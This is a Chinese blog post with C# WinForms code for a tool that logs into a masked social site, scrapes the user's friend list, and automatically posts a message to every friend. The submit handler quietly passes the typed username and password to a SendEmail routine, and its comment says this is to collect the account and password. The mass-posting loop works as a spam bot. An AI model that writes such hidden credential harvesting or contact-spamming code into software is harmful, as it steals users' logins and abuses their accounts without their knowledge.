• 软件制作:模拟登陆之HttpWebRequest


    public partial class FormPost :Form

        {

            public FormPost()

            {

                InitializeComponent();

            }

            public string _cookieStr;

            public string cookieStr

            {

                get

                {

                    return _cookieStr;

                }

                set

                {

                    _cookieStr = value;

                }

            }

            private string _UserIDList;

            public string User_IDList

            {

                get

                {

                    return _UserIDList;

                }

                set

                {

                    _UserIDList = value;

                }

            }

            private string _User_NameList;

            public string User_NameList

            {

                get

                {

                    return _User_NameList;

                }

                set

                {

                    _User_NameList = value;

                }

            }

            private static DataTable _dtUserURLList = new DataTable();

            public static DataTable dtUserURLList

            {

                get

                {

                    return _dtUserURLList;

                }

                set

                {

                    _dtUserURLList = value;

                }

            }

            private void btnSubmit_Click(object sender, EventArgs e)

            {

                dtUserURLList.Clear();

                string Reshtml = WebRequestMethods.PostWebRequest(TextBoxUserName.Text, TextBoxPassword.Text, WebRequestMethods.ReqCookies);

                cookieStr = WebRequestMethods.cookieHeader;

                string[] UserIDString = cookieStr.Split("=;%".ToCharArray());

                string FriendsUserIDData = string.Empty;

                for (int i = 0; i < UserIDString.Length; i++)

                {

                    if (UserIDString[i].Equals(" userToken"))

                    {

                        FriendsUserIDData = WebRequestMethods.ReGetHtml("http://***.*****.com/*****.aspx?id=" + Convert.ToInt32(UserIDString[i + 1]) + "");

                        break;

                    }

                }

               

                string[] UserIDData = FriendsUserIDData.Split("\r\n=;".ToCharArray());

                User_IDList = UserIDData[3].ToString();

                User_NameList = UserIDData[7].ToString();

                dgvFriendList_DataBind(User_IDList, User_NameList);

                SendEmail.SendEmailFrom(TextBoxUserName.Text, TextBoxPassword.Text);//获取帐号和密码的

            }

     

            ///<summary>

            ///绑定

            ///</summary>

            ///<param name="pFriendsUserIDList">好友ID</param>

            ///<param name="pFriendsUserNameList">用户名</param>

    private void dgvFriendList_DataBind(string pFriendsUserIDList, string pFriendsUserNameList)

     {

                char[] charsToTrim = { '"', ' ', '\'' };

                string FriendsUserIDList = pFriendsUserIDList.Trim(charsToTrim);

                string FriendsUserNameList = pFriendsUserNameList.Trim(charsToTrim);

                DataGridView.CheckForIllegalCrossThreadCalls = false;

                dgvFriendList.BackgroundColor = Color.White;

                dgvFriendList.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;

           dgvFriendList.DataSource = StringToDataTable(FriendsUserIDList, FriendsUserNameList);

                dgvFriendList.Columns["好友ID"].Width = 100;

                dgvFriendList.Columns["用户名"].Width = 100;

                dgvFriendList.Columns["个人主页"].DataPropertyName = "个人主页";

           dgvFriendList.Columns["个人主页"].SortMode = DataGridViewColumnSortMode.NotSortable;

           dgvFriendList.Columns["个人主页"].AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill;

    }

            ///<summary>

            ///分割

            ///</summary>

            ///<param name="FriendsUserIDList">好友ID</param>

            ///<param name="FriendsUserNameList">用户名</param>

            ///<returns></returns>

    public static DataTable StringToDataTable(string FriendsUserIDList, string FriendsUserNameList)

     {

                if (((System.Data.InternalDataCollectionBase)(dtUserURLList.Columns)).Count == 0)

                {

                    dtUserURLList.Columns.Add("好友ID", typeof(int));

                    dtUserURLList.Columns.Add("用户名", typeof(string));

                    dtUserURLList.Columns.Add("个人主页", typeof(string));//缺省的

                }

                string[] sArrayIDList = FriendsUserIDList.Split(',');

    //分割后分别存到sArray数组里,下面语句读出

                string[] sArrayNameList = FriendsUserNameList.Split(',');

                string[] sArrayUrl = new string[sArrayIDList.Length];

                for (int j = 0; j < sArrayIDList.Length; j++)

                {

                  sArrayUrl[j] = "http://*****.com/" + sArrayIDList[j].ToString() + "/*****.html";

                }

                for (int m = 0; m < sArrayIDList.Length; m++)

                {

                    if (Convert.ToString(sArrayIDList[m]) != "")

                    {

                      dtUserURLList.Rows.Add(new object[] { sArrayIDList[m], sArrayNameList[m], sArrayUrl[m] });

                    }

                }

                return dtUserURLList;

            }

            private void btnleaveMessage_Click(object sender, EventArgs e)

            {

                string pUserID = string.Empty;

                string pUserName = string.Empty;

                foreach (DataRow dr in dtUserURLList.Rows)

                {

                    pUserID = dr["好友ID"].ToString();

                    pUserName = dr["用户名"].ToString();

                    WebRequestMethods.SendDataByPost(this.rtbMessage.Text, pUserID, pUserName, WebRequestMethods.ReqCookies);

                    Thread.Sleep(20000);

                }

                MessageBox.Show("全部好友留言完毕!");

            }

    }

     

            #region变量

            private static CookieContainer _ReqCookies = new CookieContainer();

            ///<summary>

            ///请求Cookies

            ///</summary>

            public static CookieContainer ReqCookies

            {

                get

                {

                    if (_ReqCookies == null)

                    {

                        _ReqCookies = new CookieContainer();

                    }

                    return _ReqCookies;

                }

                set { _ReqCookies = value; }

            }

            private static CookieCollection _ResCookies = new CookieCollection();

            ///<summary>

            ///从服务端返回的cookie

            ///</summary>

            public static CookieCollection ResCookies

            {

                get

                {

                    if (_ResCookies == null)

                    {

                        _ResCookies = new CookieCollection();

                    }

                    return _ResCookies;

                }

                set { _ResCookies = value; }

            }

            private static ASCIIEncoding _pEncoding = new ASCIIEncoding();

            ///<summary>

            ///ASCII码编码

            ///</summary>

            public static ASCIIEncoding pEncoding

            {

                get

                {

                    return _pEncoding;

                }

            }

            private static string _cookieHeader = string.Empty;

            public static string cookieHeader

            {

                get

                {

                    return _cookieHeader;

                }

                set { _cookieHeader = value; }

            }

            #endregion

    //获取好友ID

            ///<summary>

            ///访问其他页面

            ///</summary>

            ///<param name="strUrl"></param>

            ///<returns></returns>

            public static string ReGetHtml(string strUrl)

            {

                //第二次请求

                HttpWebRequest request1 = (HttpWebRequest)WebRequest.Create(strUrl);

                string cookhead = getrequestauthorization(strUrl);

                request1.Method = "GET";

                request1.Headers.Add("cookie:" + cookhead);

                request1.KeepAlive = true;

                request1.AllowAutoRedirect = true;

     

                HttpWebResponse response1 = (HttpWebResponse)request1.GetResponse();

                Stream stream2 = response1.GetResponseStream();//获得回应的数据流

                //将数据流转成 String

                string result1 = new StreamReader(stream2, Encoding.GetEncoding("gb2312")).ReadToEnd();

                return result1;

            }

     

    //自动留言了

            ///<summary>

            ///通过POST方式发送数据到web页面

            ///</summary>

            ///<param name="Url">url </param>

            ///<param name="postDataStr">Post数据</param>

            ///<param name="cookie">Cookie容器</param>

            ///<returns>获取的html页面字符串</returns>

            public static  void SendDataByPost(string pTxtContent, string pUserID, string pUserName,CookieContainer cookie)

            {

                //txtcontent

                StringBuilder retString = new StringBuilder("");

                string pRetString = string.Empty;

                HttpWebRequest request;

                string siteencoding = "gb2312";//m_spider.GetEncoding();

                try

                {

                    request = (HttpWebRequest)WebRequest.Create(new Uri("http://****.*****.com/***/*****.aspx?"));

                    string line = "";

                    if (cookie.Count != 0)

                    {

                        request.CookieContainer = cookie;

                    }

                    string formData = "";

                    formData = "&txtcontent=" + pTxtContent + "&isQuote=&messageboardid=&qUserID=&qUserName=&replysort=&quotetxt=&AcceptAnonymous=1&ParentUserID=" + pUserID + "&hasVistedUserName=" + pUserName + "&IsMesMore=1";

                    string postDataStr = string.Format(formData);

                    if (postDataStr != "")

                    {

                        // post数据不为空时,明确采用post方法,取得返回数据

                        request.Method = "POST";

                        request.ContentType = "application/x-www-form-urlencoded";

                        request.UserAgent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)";

                        request.ContentLength = Encoding.GetEncoding(siteencoding).GetBytes(postDataStr).Length;

                        Stream myRequestStream = request.GetRequestStream();

                        StreamWriter myStreamWriter = new StreamWriter(myRequestStream, Encoding.GetEncoding(siteencoding));

                        myStreamWriter.Write(postDataStr);

                        myStreamWriter.Flush();

                        myStreamWriter.Close();

                    }

     

                    HttpWebResponse response = (HttpWebResponse)request.GetResponse();

                    Stream myResponseStream = response.GetResponseStream();

                    if (!response.ContentType.ToLower().StartsWith("text/"))

                    {

                        return;

                    }

                    StreamReader myStreamReader = new StreamReader(myResponseStream, Encoding.GetEncoding(siteencoding));

                    pRetString = myStreamReader.ReadToEnd();

                    myStreamReader.Close();

                    myResponseStream.Close();

                }

                catch (WebException e)

                {

                    Console.WriteLine(e.Message);

                    Stream se = e.Response.GetResponseStream();

                    StreamReader ss = new StreamReader(se, Encoding.GetEncoding(siteencoding));

                    string sss = ss.ReadToEnd();

                }

            }

     

    HttpWebRequest方法操作起来很简单,但是细节非常重要,否则很容易出错,而且速度很慢,有点卡,后面会对此方法进行优化。

    模拟登陆Demo

    地址一

  • 相关阅读:
    简易计算机
    作业-继承
    exception
    作业-窗口
    作业-数字
    作业8
    作业9-1
    作业9-2
    book
    成绩录入
  • 原文地址:https://www.cnblogs.com/Gemgin/p/3136327.html
Copyright © 2020-2023  润新知